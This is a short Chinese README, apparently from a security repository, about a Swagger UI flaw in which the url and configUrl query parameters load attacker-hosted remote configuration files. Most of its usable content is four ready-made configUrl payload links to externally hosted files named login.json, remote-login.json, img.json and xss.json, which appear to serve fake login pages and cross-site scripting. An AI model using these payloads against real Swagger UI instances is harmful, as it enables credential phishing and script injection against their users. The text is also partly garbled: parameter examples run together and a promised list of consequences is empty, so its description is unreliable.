Swagger UI 是一个广泛使用的库,它能将 OpenAPI(原 Swagger)规范渲染为交互式 Web 界面。开发者与集成人员无需后端实现即可探索和测试 API。
该漏洞源于 Swagger UI 客户端对用于加载远程配置或规范文件的 URL 查询参数验证不足。涉及的常见参数包括:
?url=.yaml?configUrl=.json攻击者可将这些参数指向一个攻击者控制的、远程托管的 OpenAPI 定义或配置文件,该文件可能被易受攻击的实例渲染。
根据托管配置与防护措施的不同,加载恶意远程文件可能导致多种高影响力的后果:
参考资料:
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/remote-login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/img.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/xss.json
本仓库中的内容仅供教育和信息目的提供。作者对任何滥用行为概不负责。使用前请确保获得适当授权,自行承担风险并遵守所有法律与道德准则。